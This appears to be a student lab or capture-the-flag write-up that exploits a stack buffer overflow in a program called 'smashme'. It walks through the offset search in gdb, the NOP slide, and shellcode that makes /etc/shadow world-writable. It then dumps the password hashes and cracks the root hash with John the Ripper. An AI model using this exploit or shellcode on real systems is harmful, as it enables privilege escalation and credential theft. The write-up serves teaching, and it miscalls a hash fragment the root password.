Assignment4

Flag: idunno

Main command:

```
padding = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQ"
eip = struct.pack("I", 0xbffffc90+32)
nopslide = "\x90"*100
shellcode=
"\xCC\x89\xc3\x31\xd8\x50\xbe\x3e\x1f\x3a\x56\x81\xc6\x23\x45\x35\x21\x89\x74\x24\xfc\xc7\x44\x24\xf8\x2f\x2f\x7
3\x68\xc7\x44\x24\xf4\x2f\x65\x74\x63\x83\xec\x0c\x89\xe3\x66\x68\xff\x01\x66\x59\xb0\x0f\xcd\x80"
print padding+eip+nopslide+shellcode
```

Phase 1. How many characters of input are needed:

Before going to return address, 68 characters (17(A~Q)*4) are needed as input. (0x52525252 = RRRR)

```
(gdb) r
Starting program: /home/user/smashme
ASD
=> 0x804911a <main+24>: ret
0xbffffc8c:     0xb7ea3b57      0x00000001      0xbffffd24      0xbffffd2c
0xbffffc9c:     0xbffffcb4      0x00000001      0x00000000      0x00000000

Breakpoint 1, 0x0804911a in main ()
(gdb) si
=> 0xb7ea3b57 <__libc_start_main+338>:  add    $0x10,%esp
0xbffffc90:     0x00000001      0xbffffd24      0xbffffd2c      0xbffffcb4
0xbffffca0:     0x00000001      0x00000000      0x00000000      0xb7fd3000
0xb7ea3b57 in __libc_start_main () from /lib/libc.so.6
(gdb) r < /tmp/alphabet
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/user/smashme < /tmp/alphabet
=> 0x804911a <
0xbffffc8c:     0x52525252      0x53535353      0xbffffd00      0xbffffd2c
0xbffffc9c:     0xbffffcb4      0x00000001      0x00000000      0x00000000

Breakpoint 1, 0x0804911a in main ()
(gdb) si
=> 0x52525252:  Error while running hook_stop:
Cannot access memory at address 0x52525252
0x52525252 in ?? ()
(gdb) si

Program received signal SIGSEGV, Segmentation fault.
=> 0x52525252:  Error while running hook_stop:
Cannot access memory at address 0x52525252
0x52525252 in ?? ()
(gdb) x/s $esp
0xbffffc90:     "SSSS"
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/user/smashme < /tmp/alphabet
=> 0x804911a <main+24>: ret
0xbffffc8c:     0x52525252      0x53535353      0xbffffd00      0xbffffd2c
0xbffffc9c:     0xbffffcb4      0x00000001      0x00000000      0x00000000

Breakpoint 1, 0x0804911a in main ()
(gdb) si
=> 0x52525252:  Error while running hook_stop:
Cannot access memory at address 0x52525252
0x52525252 in ?? ()
(gdb) i r
eax            0x0                 0
ecx            0xb7fd3580          -1208142464
edx            0x4c                76
ebx            0x804911b           134517019
esp            0xbffffc90          0xbffffc90
ebp            0x51515151          0x51515151
esi            0x0                 0
edi            0x0                 0
eip            0x52525252          0x52525252
```

Phase 2. The appropriate address on the stack to send the program execution to

Address to jump to (stack pointer) is 0xbffffc90

```
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/user/smashme < /tmp/alphabet
=> 0x804911a <main+24>: ret
0xbffffc8c:     0x52525252      0x53535353      0xbffffd00      0xbffffd2c
0xbffffc9c:     0xbffffcb4      0x00000001      0x00000000      0x00000000

Breakpoint 1, 0x0804911a in main ()
(gdb) si
=> 0x52525252:  Error while running hook_stop:
Cannot access memory at address 0x52525252
0x52525252 in ?? ()
(gdb) i r
eax            0x0                0
ecx            0xb7fd3580         -1208142464
edx            0x4c               76
ebx            0x804911b          134517019
esp            0xbffffc90         0xbffffc90
ebp            0x51515151         0x51515151
esi            0x0                0
edi            0x0                0
eip            0x52525252         0x52525252
```

Phase 3. Trivial code execution in the stack by getting the interrupt to run

```
user@box:/tmp$ python exploit.py > exp
user@box:/tmp$ cat exploit.py
import struct
padding = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQ"
eip = struct.pack("I", 0xbffffc90)
payload = "\xCC"*4
print padding+eip+payload
user@box:/tmp$
```

```
(gdb) r < /tmp/exp
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/user/smashme < /tmp/exp
=> 0x804911a <main+24>: ret
0xbffffc8c:     0xbffffc90      0xcccccccc      0xbffffd00      0xbffffd2c
0xbffffc9c:     0xbffffcb4      0x00000001      0x00000000      0x00000000

Breakpoint 1, 0x0804911a in main ()
(gdb) c
Continuing.

Program received signal SIGTRAP, Trace/breakpoint trap.
=> 0xbffffc91:  int3
0xbffffc90:     0xcccccccc      0xbffffd00      0xbffffd2c      0xbffffcb4
0xbffffca0:     0x00000001      0x00000000      0x00000000      0xb7fd3000
0xbffffc91 in ?? ()
```

Phase 4. NOP slide to overcome the address

```
user@box:/tmp$ python exploit.py > exp
user@box:/tmp$ cat exploit.py
import struct
padding = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQ"
eip = struct.pack("I", 0xbffffc90+30)
nopslide = "\x90"*100+"\xCC"*4
print padding+eip+nopslide
```

```
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/user/smashme < /tmp/exp
=> 0x804911a <main+24>: ret
0xbffffc8c:     0xbffffcae      0x90909090      0x90909090      0x90909090
0xbffffc9c:     0x90909090      0x90909090      0x90909090      0x90909090

Breakpoint 1, 0x0804911a in main ()
(gdb) x/32wx $esp
0xbffffc8c:     0xbffffcae      0x90909090      0x90909090      0x90909090
0xbffffc9c:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffcac:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffcbc:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffccc:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffcdc:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffcec:     0x90909090      0x90909090      0xcccccccc      0x00000000
0xbffffcfc:     0x08049071      0x08049102      0x00000001      0xbffffd24
(gdb) si
=> 0xbffffcae:  nop
0xbffffc90:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffca0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffcae in ?? ()
(gdb) c
Continuing.

Program received signal SIGTRAP, Trace/breakpoint trap.
=> 0xbffffcf5:  int3
0xbffffc90:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffca0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffcf5 in ?? ()
(gdb)
```

However, when the code applied to smashme, I got illegal instruction error. So I added additional 2 bytes.

```
user@box:/tmp$ cat exploit.py
import struct
padding = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQ"
eip = struct.pack("I", 0xbffffc90+30)
nopslide = "\x90"*100+"\xCC"*4
print padding+eip+nopslide
user@box:/tmp$ vi exploit.py
user@box:/tmp$ python exploit.py > exp
user@box:/tmp$ python exploit.py | /home/user/smashme
Illegal instruction
user@box:/tmp$ vi exploit.py
user@box:/tmp$ python exploit.py | /home/user/smashme
Trace/breakpoint trap
user@box:/tmp$ cat exploit.py
import struct
padding = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQ"
eip = struct.pack("I", 0xbffffc90+32)
nopslide = "\x90"*100+"\xCC"*4
print padding+eip+nopslide
```

Phase 5. Add shellcode

```
user@box:/tmp$ cat exploit.py
import struct
padding = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQ"
eip = struct.pack("I", 0xbffffc90+32)
nopslide = "\x90"*100
shellcode = "\xCC\x89\xc3\x31\xd8\x50\xbe\x3e\x1f\x3a\x56\x81\xc6\x23\x45\x35\x21\x89\x74\x24\xfc\xc7\x44\x24\x
f8\x2f\x2f\x73\x68\xc7\x44\x24\xf4\x2f\x65\x74\x63\x83\xec\x0c\x89\xe3\x66\x68\xff\x01\x66\x59\xb0\x0f\xcd\x80"
print padding+eip+nopslide+shellcode
```

```
user@box:/tmp$ python exploit.py | /home/user/smashme
Trace/breakpoint trap
user@box:/tmp$ ls -al /etc/shadow
-rwxrwxrwx    1 root     staff          227 Mar 13 21:13 /etc/shadow
```

```
user@box:/tmp$ cat /etc/shadow
root:$1$pX0.WraJ$gauygXqgbXVQOLKKJeP.U.:19064:0:99999:7:::
lp:*:13510:0:99999:7:::
nobody:*:13509:0:99999:7:::
tc:$1$DIz4gniY$iYj0/fbiHGbMfLh4lofuJ1:18670:0:99999:7:::
user:$1$uAzP2P6V$bKhfQdoUJJZ6PXV8n2zik0:18691:0:99999:7:::
user@box:/tmp$ ls -al /etc/shadow
-rwxrwxrwx    1 root     staff          227 Mar 13 21:13 /etc/shadow
```

Result

The root user password is **1pX0.WraJ$gauygXqgbXVQOLKKJeP.U.**

And **the flag** decrypted by john the ripper is **idunno**

```
┌──(kali㉿kali)-[~]
└─$ john password.txt
Created directory: /home/kali/.john
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 128/128 AVX 4×3])
Will run 4 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
Proceeding with incremental:ASCII
idunno           (root)
```